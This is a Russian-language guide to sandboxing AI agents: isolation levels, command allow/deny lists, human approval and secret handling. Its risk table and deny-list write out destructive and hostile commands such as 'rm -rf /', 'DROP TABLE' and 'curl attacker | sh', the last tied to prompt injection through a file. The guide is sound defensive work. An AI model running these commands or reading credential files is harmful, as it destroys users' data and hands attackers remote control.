Песочница и права ИИ-агента
ИИ-агент — это LLM плюс цикл "подумал → вызвал tool → прочитал результат". В отличие от чата, агент меняет мир: пишет файлы, запускает shell, ходит в API. OWASP LLM06 (Excessive Agency) — как раз про избыточные права; обзор угроз — в статье 1.
Правило: агенту нельзя доверять больше, чем стажёру с тем же уровнем доступа — и только в изолированной среде.
Что может пойти не так
| Сценарий | Команда / действие | Последствие |
|---|---|---|
| Ошибка интерпретации | rm -rf / на Linux | Уничтожение ОС |
| Ошибка на Windows | del /f /s /q C:\* | Удаление системных файлов |
| Промпт-инъекция из файла | curl attacker | sh | RCE |
| "Очистка диска" | Удаление /var, node_modules всего диска | Простой |
| Git | git push --force на main | Потеря истории |
| БД через MCP | DROP TABLE | Потеря данных |
Модель не спрашивает здравого смысла — она оптимизирует завершение задачи из промпта.
Матрица окружений
| Окружение | Допустимый уровень | Рекомендации |
|---|---|---|
| Личный pet-проект | Средний риск | Отдельный пользователь ОС, бэкап, без корпоративного VPN |
| Рабочий ноутбук | Низкий | Агент только в каталоге репозитория; без sudo; корпоративная политика |
| CI / облако | Минимальный | Ephemeral container, секреты из CI vault, нет доступа к prod |
| Production automation | Критический | HITL, read-only по умолчанию, отдельный service account |
Песочница — уровни изоляции
1. Ограничение каталога (минимум)
- Агент работает только в корне проекта (Cursor workspace,
--cwd). - Запрет выхода на
../в tool policy где возможно. - Не открывать домашнюю директорию и
~/.ssh.
2. Отдельный пользователь ОС
- Linux/macOS: пользователь
agentбезsudo, без группыdockerесли не нужно. - Файлы проекта —
chownтак, чтобы агент не писал в системные пути.
3. Docker / devcontainer
- Агент внутри контейнера; на хост монтируется только том проекта.
- Не монтировать
docker.sock,~/.aws,~/.kubeбез крайней необходимости. - Сеть:
network: noneили ограниченный egress для прототипов.
См. контейнеризацию.
4. Виртуальная машина
- Для экспериментов с OpenInterpreter и произвольным shell — отдельная VM со снапшотом; после сессии — откат.
5. Облачная sandbox
- Изолированные среды (E2B, Modal, vendor sandboxes) — агент не видит корпоративную сеть.
Политика команд (allow / deny)
Где платформа позволяет — allow-list:
| Разрешено | Запрещено или только с подтверждением |
|---|---|
git status, git diff | git push --force, git reset --hard |
npm test, pytest | npm publish, произвольный curl | bash |
docker build (в sandbox) | docker run --privileged |
| Чтение файлов проекта | Чтение ~/.ssh, .env prod |
Деструктивные префиксы для блокировки на уровне wrapper: rm, del, drop, truncate, mkfs, dd.
Human-in-the-loop
Обязательное подтверждение человека:
- удаление файлов вне
tmp/или массовое удаление; - отправка email / сообщений;
- транзакции в БД кроме явно read-only tools;
- установка пакетов из нестандартных источников;
- изменение CI/CD и облачной инфраструктуры.
В Cursor / Claude Code — режимы "спросить перед выполнением"; в custom агентах — policy engine до вызова tool.
Секреты и сеть
- Нет production API-ключей в environment агента на ноутбуке.
- Агент в CI — credentials только на время job, scope minimal.
- Блокировать доступ агента к metadata cloud (
169.254.169.254) в untrusted sandbox.
Интеграция с AgentOps
Эксплуатация в prod — не только sandbox, но и observability: trace каждого tool call, max_iterations, budget cap — AgentOps, DevOps AgentOps.
Чек-лист
- Агент не запускается с
root/Administratorна хосте с личными данными - Рабочая директория ограничена репозиторием или контейнером
- Деструктивные команды — подтверждение или запрет
- Production-секреты вне reach агента
- Есть бэкап или снапшот перед длинной agent-сессией
- Логи tool calls хранятся для разбора инцидентов
Итоги
Песочница — не паранойя, а условие использования агентов в разумных границах. Docker, отдельный пользователь, allow-list команд и HITL снижают риск OWASP LLM06 и последствий промпт-инъекции. MCP и RAG — глава 3; тесты атак — Red team.